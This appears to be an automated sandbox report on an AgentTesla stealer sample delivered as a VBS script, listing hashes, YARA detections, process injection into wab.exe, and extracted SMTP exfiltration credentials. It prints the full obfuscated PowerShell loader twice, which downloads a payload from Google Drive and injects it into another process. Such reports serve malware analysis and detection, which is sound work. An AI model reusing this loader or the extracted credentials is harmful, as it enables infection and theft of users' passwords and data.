agenttesla | 8b7c5d53812ea0abfc73d680313417506ce8cdf6476604829f74e1c62775dac4

General

Target

8b7c5d53812ea0abfc73d680313417506ce8cdf6476604829f74e1c62775dac4.vbs
Size

37KB
MD5

f502e10ed6fe68f3ae7ab8dc21d85905
SHA1

c5f150a8ad65c02818b317202bc0b4c885d681a6
SHA256

8b7c5d53812ea0abfc73d680313417506ce8cdf6476604829f74e1c62775dac4
SHA512

e676b0c0974339cebbe6f4e0ce4e0a33aefde01588af7cc20c7ae6be11b8467da271a7496c8e37245ff7c523dbabbf3de3d9831318127b9dbc98987d84a4930e
SSDEEP

768:u0agBVh4WAZGc8NnKwiQRP1Ugmj8VeuwRwHv8:hwqNnKwJDLVmRP

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.z2neumec.com
Port:
587
Username:
[email protected]
Password:
Gid@2021

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.z2neumec.com
Port:
587
Username:
[email protected]
Password:
Gid@2021
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 2756 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
18 drive.google.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 api.ipify.org
22 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2220 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2756 powershell.exe
2220 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2756 set thread context of 2220 2756 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2984 powershell.exe
2756 powershell.exe
2756 powershell.exe
2220 wab.exe
2220 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2756 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2984 powershell.exe
Token: SeDebugPrivilege 2756 powershell.exe
Token: SeDebugPrivilege 2220 wab.exe

flow	pid	process
16	2756	powershell.exe

flow	ioc
4	drive.google.com
5	drive.google.com
18	drive.google.com

flow	ioc
23	api.ipify.org
22	api.ipify.org

pid	process
2220	wab.exe

pid	process
2756	powershell.exe
2220	wab.exe

description	pid	process	target process
PID 2756 set thread context of 2220	2756	powershell.exe	wab.exe

pid	process
2984	powershell.exe
2756	powershell.exe
2756	powershell.exe
2220	wab.exe
2220	wab.exe

pid	process
2756	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2220	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3004 wrote to memory of 2984	3004	WScript.exe	powershell.exe
PID 3004 wrote to memory of 2984	3004	WScript.exe	powershell.exe
PID 3004 wrote to memory of 2984	3004	WScript.exe	powershell.exe
PID 2984 wrote to memory of 2676	2984	powershell.exe	cmd.exe
PID 2984 wrote to memory of 2676	2984	powershell.exe	cmd.exe
PID 2984 wrote to memory of 2676	2984	powershell.exe	cmd.exe
PID 2984 wrote to memory of 2756	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2756	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2756	2984	powershell.exe	powershell.exe
PID 2984 wrote to memory of 2756	2984	powershell.exe	powershell.exe
PID 2756 wrote to memory of 2528	2756	powershell.exe	cmd.exe
PID 2756 wrote to memory of 2528	2756	powershell.exe	cmd.exe
PID 2756 wrote to memory of 2528	2756	powershell.exe	cmd.exe
PID 2756 wrote to memory of 2528	2756	powershell.exe	cmd.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe
PID 2756 wrote to memory of 2220	2756	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8b7c5d53812ea0abfc73d680313417506ce8cdf6476604829f74e1c62775dac4.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Varslinger Restordres Maidly Levendegre Mandarining Goatherds Phobophobia #>;$tilbageholdelse=(cmd /c set /A 115^^0);Function Uncommiserating ([String]$Lobolos){$Milano41=[char][int]$tilbageholdelse+'ubstring';$Uddeliges=8;$Snorebroderier=Raadsvampen($Lobolos);For($Stttevokalerne=7; $Stttevokalerne -lt $Snorebroderier; $Stttevokalerne+=$Uddeliges){$Enterogenous=$Lobolos.$Milano41.Invoke($Stttevokalerne, 1);$Agapetid=$Agapetid+$Enterogenous;}$Agapetid;}function Taintless208 ($Sarcogenic){& ($Nedgange) ($Sarcogenic);}function Raadsvampen ([String]$Illdisposedness){$Nervus=$Illdisposedness.Length-1;$Nervus;}$Paperful=Uncommiserating 'TjeneriTStramajrSaarenda cr,nionnedsle sUtil.adfLutes eePraisefrilluminrAccompainaturaln Svabr,gTiecl,s ';$Gullyhole=Uncommiserating 'Re.amplhDaglejetCouthestLu,kingpF verwosagerste:Ninthse/.rydens/omlastedmulctatr Kobberi IdetagvDissidee Wholel. DiversgP.ammenoIm,lemeoFradraggGennemflRecr.oneTrac.in.RegerincHjertesotempyohmLibrney/Volatilu,ndistrcRrhnerh?TilsnegeFel.togxAnnishvpTv ngsaoBalancerNarkotitKraftv.=Underexd Pro.oko Cynophw W negrncryogenl.octiluo Kurbasa Laryn.dAlmsmen& Misknoi ,elegrd Forure=Matlock1TelescoYBasisco4SkrmindI lancclYLividne2Staahejy vi ualWCiceron4Cudbrnd0 fi.dleebul,las5decempldSrgetog6stuntmaNUnmummiKSydafriTKlumreduSoldiseHOverpolxperiproqL,rrainoSugge tqRengri,yGl,veunP Ort opGU managpQuagg.sTk.ratosFKa.ikatrAfdryppA F,ankeMprunellI Jequir ';$Nedgange=Uncommiserating 'KlemhagiHelliggeJanitr,xEnhedsv ';$Funktionsdygtige=Uncommiserating ' Sho.ji$Gl ssargUntrimml happenoRombepobQuamsubaCappi,rlBambus.:Untre,dSSamfundkFremhveavandpaam rierfolBefolkneAns.arsncarpetb2Le itat8Decel.r ret.rde= freyj emimoSStrafratSlotsafaSydafrirFornyertTallinj-KitosflBTrem.stiSplotchtKulackfsOstindiTBestormrTilgodeaForciblnHyssingsFabriksfAxo etreFranzisr Sw nge ufologi- CidernSFortegno,ephalouDiscontrUgt,skecBiop,ageMa,jong Bygsukk$Thixo rGA,ndigeuWind urlA.reveslfrysep,yFlanke.h ArchduoIdentitl MorgeneU,signi Brndehu-PugendeDHjemvi e ForkrosBrkr.gntFi regniShakyamnFalkeneaJun iertLitter,i sykopaoHindbrbnGoblini Tin.oid$SidelinAObelialf StaklalringbryaVicomteg BesttetIndeh.veMa.sakr ';Taintless208 (Uncommiserating 'barnes,$Ex ressg BalanclCowpe,boFolkemabD,llemeaAfb,ndelRupit c:GynecolAInspherf nthrallbraendeaMoronesg Overgat Ci,ylieSellcle= Gradat$.latykueNynorsknReumativNdtrf e:Defamatacletchspasmindep Espresd A,cyonaRedismitBaetyluagrsenke ') ;Taintless208 (Uncommiserating 'SensomrIForstanmTra sispGulmohaoMilvagor DescantUpsweep-MandoraM ForfrioSyrupp.dSymmorpuDecertalPrecioueOutstun OsasfisBGoutsafiN urogetPiratudsStet.seT orantorDumbbela RegistnSpicigesVrdighefEndo.ite Triumfr Bran h ') ;$Aflagte=$Aflagte+'\Bernoullian.Tam' ;Taintless208 (Uncommiserating 'Skorste$ScrofulgjeblikslEgestiooBejledebSelvmedaAmperenlExplo t:PrediviNAerodynuByttestlPartiediExacerbnTrafiket IconomePaiockerseksaa,vSurrealaCobbledlResund,losculabeCine atrF.rbjersOa.land=Acetoni(Ud.ivenTFac,nereGeophilsContract Unique- FloretPFamletgaAntip.rt Mldtcah Fungal Urokses$EdsformAingeldafR glowslKronpriaU.mystigFehaarstSmaatoseStonker)Affilia ') ;while (-not $Nulintervallers) {Taintless208 (Uncommiserating 'GalgebaITvrdrivfBa.dune whisker(.utineo$CyanensSdaf iesk Persona.enshermLakkesflfiredobeBrandmunMilieuv2Syda,er8Diammon.Kunds aJ HellenohemiopibStberneSOgdenmutAlm.eskaEftersptT,ansiteG,mnasi Fang,no-VelkomseEdulcorqNonreta R,with$AstrogeP Form eaTi hngep Ceremoe tolkerr PulverfIndvikluVoldelilTappema)Filsema Eftermo{KairoliSAntireltBowlereaTvedelirAsbkbrutPrinter-Galeo.eS SolleglT,mpereePardry ePreconspSpectre S,lvest1 Jalous}Betaline Vvenecl Deco.ts DogmateSvi.ese{GretesuSComm ndt,dedessa EmirerrHorsefitinf,cti-Aghach.SSpurveflOfficereYmtrekae GenesipAmicab, lissofl1 Ganoid;R.sinweT Si.keraCordilli,ocialinUnd.tritSkabertl Diffeoe SmeltesFolklorsBesmykk2Inte,re0For,kni8Whipsta Betoner$to,vtidFSikkerhu gunkyfnReolpl kBl frditJinxes iconductoAnsk.elnBordskas H,rquedVedko,my U.applgstrdem.tPon.icuiInnoxiogMari imeRelands}proboul ');Taintless208 (Uncommiserating 'r.erhis$RealistgStngteslIlleradoKontra bP.tternaTes,atrlAri,met:HinkestNBrilliauOverw.elTri,sviiInvestonkolonnetBlank ve befordrStrugglv Snowbla Virk,klInbreatl kamgareRibbensrPierrotsMu,tist=Barneal(N.dfrysTKrushaaeActinoms Toonsat Opgang-TegnstnPAlbatioa Pycnomt UdstdnhKinooc, Gyrites$ AllottAnikotinf GangsmlUndert a tomuheg F,itsttBlyro.eeRedeals)Acutanc ') ;}Taintless208 (Uncommiserating 'uns,mpa$Indretng g.bberlFerskenohuffingbSema,tiaAutohyplVulgari:AfgudstNStrrelso Tylvtenfjletcusreasseme SndagsnRach.fosMultimaoPhenethrOvermatyKopifun Saunder=Sygeple FrasalgGA mersceD,isatotW arish-EksponeCRelateroPosningn So.schtNoviluneH,postanGrnnegatClavuvi Licite.$ S dagsAOptatiof GrssellNonsalea provengNonp.lst Jury,eeFiskesn ');Taintless208 (Uncommiserating 'Visio,e$stejlhegkinlesslflowedvo UdsaetbAfsendeaSva,erslHydroc.:FejdedeTHemadroy ilbagerR adyrkoSpytkrll Fre,haemi isterMuscovahInowerfa AtmolytBrusetat BiscuieUltraspnLoernekeLatte,ls Vinqui Superfu= Feedba t,ykfar[.ilstrbSothelloy HorntasInitialtdiolef.evrdibremKlema,i.Flu,plaCSaml vsodrudespn Arb jdvNedskrieExplicarB.nresjtBoswell] Nonthe:Su,cina:d.scernF eddahurSofficeo olkeflmKarnevaBStrafc apermitnsDiscontePeris a6N,zamba4ReceptiSBotchedtTvangs.rFootl niQuarreln ColombgP nctua(Bagakse$AbmhoslNSelvretoLampropnSkalrttsPosttraeSanitasnKamenessWeigelao Augustr.arveprySmaatin)Unw,ede ');Taintless208 (Uncommiserating 'Leastge$ UnnuzzgDags eflUnactivobronto,b DuplikaMistouclJorramu:NormaliT sam,leeext.rmikUngoversCoronett SendtssRebeho,tTosser.uPjaskenmAfproevp Cary.te RgrertrBlissennAce.ylie,abicuvsPeridid Normal=Betuske S,abber[ bea,naSDivaricySjlevansConfirmtFastlaneWatertimgrun,er.RepositTSlogesje FamilixTaarnurtUnrheto.Wirily.EK.nstgdnTaktregcJose.hiosemi,isd AttritiEns ndenTrummelgNonnour]Aftersh:Ekspos :GrnskolARef,rtiSSpolia CSpagettIClientlIBoerens.AbirritGKodernee gonistamoraf.STrissentDopingsrBarlowfiu.litign FingergFor.rak(Goldfis$RuddieeT BearsmyInviterrtouris oS,otsmal Forskne SkolderCoen,tyhdiasramaLicitert.gandantstemmele MensurnflyverseMoonlitsAfkorte)N,nstor ');Taintless208 (Uncommiserating 'Valgned$ PartitgAfpresslMorphi,oPa.ruljbAlk licaSolar,elPelargo:avocatiR ArtfuluSydamerb EuryaliSedimenn panskeTarkaninSouthers Presse=R.nnash$SkriverTRe,letieudsmuglkN.vendisScalepatMutedlysBeatleatMellemauF,metagmMiddelhpLogicbueFljmndmrLydolffnBelem ee hogaprsRigdomm.UndetessBimpleruUnitterbUb.skaasXylogratTheodosrSudaneriTrffelsnCom,onegblandin( studi,3Bowlerh2Misaddr1Breb ge2 Borts 4Leucoto9Todimen,Nonsecr3 Isoler0Moneysb9 H stol5Antilet1Fodbold)Vagabon ');Taintless208 $Rubinens;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:2676

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Varslinger Restordres Maidly Levendegre Mandarining Goatherds Phobophobia #>;$tilbageholdelse=(cmd /c set /A 115^^0);Function Uncommiserating ([String]$Lobolos){$Milano41=[char][int]$tilbageholdelse+'ubstring';$Uddeliges=8;$Snorebroderier=Raadsvampen($Lobolos);For($Stttevokalerne=7; $Stttevokalerne -lt $Snorebroderier; $Stttevokalerne+=$Uddeliges){$Enterogenous=$Lobolos.$Milano41.Invoke($Stttevokalerne, 1);$Agapetid=$Agapetid+$Enterogenous;}$Agapetid;}function Taintless208 ($Sarcogenic){& ($Nedgange) ($Sarcogenic);}function Raadsvampen ([String]$Illdisposedness){$Nervus=$Illdisposedness.Length-1;$Nervus;}$Paperful=Uncommiserating 'TjeneriTStramajrSaarenda cr,nionnedsle sUtil.adfLutes eePraisefrilluminrAccompainaturaln Svabr,gTiecl,s ';$Gullyhole=Uncommiserating 'Re.amplhDaglejetCouthestLu,kingpF verwosagerste:Ninthse/.rydens/omlastedmulctatr Kobberi IdetagvDissidee Wholel. DiversgP.ammenoIm,lemeoFradraggGennemflRecr.oneTrac.in.RegerincHjertesotempyohmLibrney/Volatilu,ndistrcRrhnerh?TilsnegeFel.togxAnnishvpTv ngsaoBalancerNarkotitKraftv.=Underexd Pro.oko Cynophw W negrncryogenl.octiluo Kurbasa Laryn.dAlmsmen& Misknoi ,elegrd Forure=Matlock1TelescoYBasisco4SkrmindI lancclYLividne2Staahejy vi ualWCiceron4Cudbrnd0 fi.dleebul,las5decempldSrgetog6stuntmaNUnmummiKSydafriTKlumreduSoldiseHOverpolxperiproqL,rrainoSugge tqRengri,yGl,veunP Ort opGU managpQuagg.sTk.ratosFKa.ikatrAfdryppA F,ankeMprunellI Jequir ';$Nedgange=Uncommiserating 'KlemhagiHelliggeJanitr,xEnhedsv ';$Funktionsdygtige=Uncommiserating ' Sho.ji$Gl ssargUntrimml happenoRombepobQuamsubaCappi,rlBambus.:Untre,dSSamfundkFremhveavandpaam rierfolBefolkneAns.arsncarpetb2Le itat8Decel.r ret.rde= freyj emimoSStrafratSlotsafaSydafrirFornyertTallinj-KitosflBTrem.stiSplotchtKulackfsOstindiTBestormrTilgodeaForciblnHyssingsFabriksfAxo etreFranzisr Sw nge ufologi- CidernSFortegno,ephalouDiscontrUgt,skecBiop,ageMa,jong Bygsukk$Thixo rGA,ndigeuWind urlA.reveslfrysep,yFlanke.h ArchduoIdentitl MorgeneU,signi Brndehu-PugendeDHjemvi e ForkrosBrkr.gntFi regniShakyamnFalkeneaJun iertLitter,i sykopaoHindbrbnGoblini Tin.oid$SidelinAObelialf StaklalringbryaVicomteg BesttetIndeh.veMa.sakr ';Taintless208 (Uncommiserating 'barnes,$Ex ressg BalanclCowpe,boFolkemabD,llemeaAfb,ndelRupit c:GynecolAInspherf nthrallbraendeaMoronesg Overgat Ci,ylieSellcle= Gradat$.latykueNynorsknReumativNdtrf e:Defamatacletchspasmindep Espresd A,cyonaRedismitBaetyluagrsenke ') ;Taintless208 (Uncommiserating 'SensomrIForstanmTra sispGulmohaoMilvagor DescantUpsweep-MandoraM ForfrioSyrupp.dSymmorpuDecertalPrecioueOutstun OsasfisBGoutsafiN urogetPiratudsStet.seT orantorDumbbela RegistnSpicigesVrdighefEndo.ite Triumfr Bran h ') ;$Aflagte=$Aflagte+'\Bernoullian.Tam' ;Taintless208 (Uncommiserating 'Skorste$ScrofulgjeblikslEgestiooBejledebSelvmedaAmperenlExplo t:PrediviNAerodynuByttestlPartiediExacerbnTrafiket IconomePaiockerseksaa,vSurrealaCobbledlResund,losculabeCine atrF.rbjersOa.land=Acetoni(Ud.ivenTFac,nereGeophilsContract Unique- FloretPFamletgaAntip.rt Mldtcah Fungal Urokses$EdsformAingeldafR glowslKronpriaU.mystigFehaarstSmaatoseStonker)Affilia ') ;while (-not $Nulintervallers) {Taintless208 (Uncommiserating 'GalgebaITvrdrivfBa.dune whisker(.utineo$CyanensSdaf iesk Persona.enshermLakkesflfiredobeBrandmunMilieuv2Syda,er8Diammon.Kunds aJ HellenohemiopibStberneSOgdenmutAlm.eskaEftersptT,ansiteG,mnasi Fang,no-VelkomseEdulcorqNonreta R,with$AstrogeP Form eaTi hngep Ceremoe tolkerr PulverfIndvikluVoldelilTappema)Filsema Eftermo{KairoliSAntireltBowlereaTvedelirAsbkbrutPrinter-Galeo.eS SolleglT,mpereePardry ePreconspSpectre S,lvest1 Jalous}Betaline Vvenecl Deco.ts DogmateSvi.ese{GretesuSComm ndt,dedessa EmirerrHorsefitinf,cti-Aghach.SSpurveflOfficereYmtrekae GenesipAmicab, lissofl1 Ganoid;R.sinweT Si.keraCordilli,ocialinUnd.tritSkabertl Diffeoe SmeltesFolklorsBesmykk2Inte,re0For,kni8Whipsta Betoner$to,vtidFSikkerhu gunkyfnReolpl kBl frditJinxes iconductoAnsk.elnBordskas H,rquedVedko,my U.applgstrdem.tPon.icuiInnoxiogMari imeRelands}proboul ');Taintless208 (Uncommiserating 'r.erhis$RealistgStngteslIlleradoKontra bP.tternaTes,atrlAri,met:HinkestNBrilliauOverw.elTri,sviiInvestonkolonnetBlank ve befordrStrugglv Snowbla Virk,klInbreatl kamgareRibbensrPierrotsMu,tist=Barneal(N.dfrysTKrushaaeActinoms Toonsat Opgang-TegnstnPAlbatioa Pycnomt UdstdnhKinooc, Gyrites$ AllottAnikotinf GangsmlUndert a tomuheg F,itsttBlyro.eeRedeals)Acutanc ') ;}Taintless208 (Uncommiserating 'uns,mpa$Indretng g.bberlFerskenohuffingbSema,tiaAutohyplVulgari:AfgudstNStrrelso Tylvtenfjletcusreasseme SndagsnRach.fosMultimaoPhenethrOvermatyKopifun Saunder=Sygeple FrasalgGA mersceD,isatotW arish-EksponeCRelateroPosningn So.schtNoviluneH,postanGrnnegatClavuvi Licite.$ S dagsAOptatiof GrssellNonsalea provengNonp.lst Jury,eeFiskesn ');Taintless208 (Uncommiserating 'Visio,e$stejlhegkinlesslflowedvo UdsaetbAfsendeaSva,erslHydroc.:FejdedeTHemadroy ilbagerR adyrkoSpytkrll Fre,haemi isterMuscovahInowerfa AtmolytBrusetat BiscuieUltraspnLoernekeLatte,ls Vinqui Superfu= Feedba t,ykfar[.ilstrbSothelloy HorntasInitialtdiolef.evrdibremKlema,i.Flu,plaCSaml vsodrudespn Arb jdvNedskrieExplicarB.nresjtBoswell] Nonthe:Su,cina:d.scernF eddahurSofficeo olkeflmKarnevaBStrafc apermitnsDiscontePeris a6N,zamba4ReceptiSBotchedtTvangs.rFootl niQuarreln ColombgP nctua(Bagakse$AbmhoslNSelvretoLampropnSkalrttsPosttraeSanitasnKamenessWeigelao Augustr.arveprySmaatin)Unw,ede ');Taintless208 (Uncommiserating 'Leastge$ UnnuzzgDags eflUnactivobronto,b DuplikaMistouclJorramu:NormaliT sam,leeext.rmikUngoversCoronett SendtssRebeho,tTosser.uPjaskenmAfproevp Cary.te RgrertrBlissennAce.ylie,abicuvsPeridid Normal=Betuske S,abber[ bea,naSDivaricySjlevansConfirmtFastlaneWatertimgrun,er.RepositTSlogesje FamilixTaarnurtUnrheto.Wirily.EK.nstgdnTaktregcJose.hiosemi,isd AttritiEns ndenTrummelgNonnour]Aftersh:Ekspos :GrnskolARef,rtiSSpolia CSpagettIClientlIBoerens.AbirritGKodernee gonistamoraf.STrissentDopingsrBarlowfiu.litign FingergFor.rak(Goldfis$RuddieeT BearsmyInviterrtouris oS,otsmal Forskne SkolderCoen,tyhdiasramaLicitert.gandantstemmele MensurnflyverseMoonlitsAfkorte)N,nstor ');Taintless208 (Uncommiserating 'Valgned$ PartitgAfpresslMorphi,oPa.ruljbAlk licaSolar,elPelargo:avocatiR ArtfuluSydamerb EuryaliSedimenn panskeTarkaninSouthers Presse=R.nnash$SkriverTRe,letieudsmuglkN.vendisScalepatMutedlysBeatleatMellemauF,metagmMiddelhpLogicbueFljmndmrLydolffnBelem ee hogaprsRigdomm.UndetessBimpleruUnitterbUb.skaasXylogratTheodosrSudaneriTrffelsnCom,onegblandin( studi,3Bowlerh2Misaddr1Breb ge2 Borts 4Leucoto9Todimen,Nonsecr3 Isoler0Moneysb9 H stol5Antilet1Fodbold)Vagabon ');Taintless208 $Rubinens;"
3⤵
- Blocklisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2528

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
9cae44fe46e00f116c6968eeb09055ae

SHA1
f4e3824c0f40b9c825e771dacab972ceaddc98fa

SHA256
26eaed2883cbff5a81d5de384ee65938cedf53bde24b5b5a19652ed6981be316

SHA512
ce39d03ea576f6f7968a0ca28adf355e61c6b5bbc80aca2ff92a4bdd2c8ff3ecc9b54662ffc890236d89785a40bffc0d7454722585b5deb9fdcb81e4b30b1ab7

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabEE16.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar1D63.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0ZWW9Z5BHWPH8221TCIU.temp
Filesize
7KB

MD5
322ad7d531d0321261731d41e13406ce

SHA1
993998e2fd77ae0e5830cff2f81c3e86db9034d4

SHA256
f3e5942f21e39d53f3de17ef94c41f8c8a03f2c0eb794ac297da75aeb98d0bdf

SHA512
e54c77d6a1cc8c39dd0e3e2630058ce73222d599a1a081a16d7fcca4758c28abd88a10f3188ce3e6bc21f2b7e19ad4d00edd84d7b3c476adf6a1af6029d5f310

Download Submit
memory/2220-111-0x0000000072A90000-0x000000007317E000-memory.dmp

Filesize
6.9MB

Download
memory/2220-112-0x0000000024260000-0x00000000242A0000-memory.dmp

Filesize
256KB

Download
memory/2220-74-0x0000000024260000-0x00000000242A0000-memory.dmp

Filesize
256KB

Download
memory/2220-73-0x0000000072A90000-0x000000007317E000-memory.dmp

Filesize
6.9MB

Download
memory/2220-72-0x0000000000200000-0x0000000000242000-memory.dmp

Filesize
264KB

Download
memory/2220-70-0x0000000076F20000-0x0000000076FF6000-memory.dmp

Filesize
856KB

Download
memory/2220-68-0x0000000000200000-0x0000000001262000-memory.dmp

Filesize
16.4MB

Download
memory/2220-47-0x0000000076F20000-0x0000000076FF6000-memory.dmp

Filesize
856KB

Download
memory/2220-45-0x0000000076D30000-0x0000000076ED9000-memory.dmp

Filesize
1.7MB

Download
memory/2220-46-0x0000000076F56000-0x0000000076F57000-memory.dmp

Filesize
4KB

Download
memory/2756-18-0x0000000072BD0000-0x000000007317B000-memory.dmp

Filesize
5.7MB

Download
memory/2756-17-0x0000000002A10000-0x0000000002A50000-memory.dmp

Filesize
256KB

Download
memory/2756-39-0x0000000006B10000-0x000000000B19F000-memory.dmp

Filesize
70.6MB

Download
memory/2756-38-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/2756-35-0x0000000002A10000-0x0000000002A50000-memory.dmp

Filesize
256KB

Download
memory/2756-40-0x0000000072BD0000-0x000000007317B000-memory.dmp

Filesize
5.7MB

Download
memory/2756-43-0x0000000076F20000-0x0000000076FF6000-memory.dmp

Filesize
856KB

Download
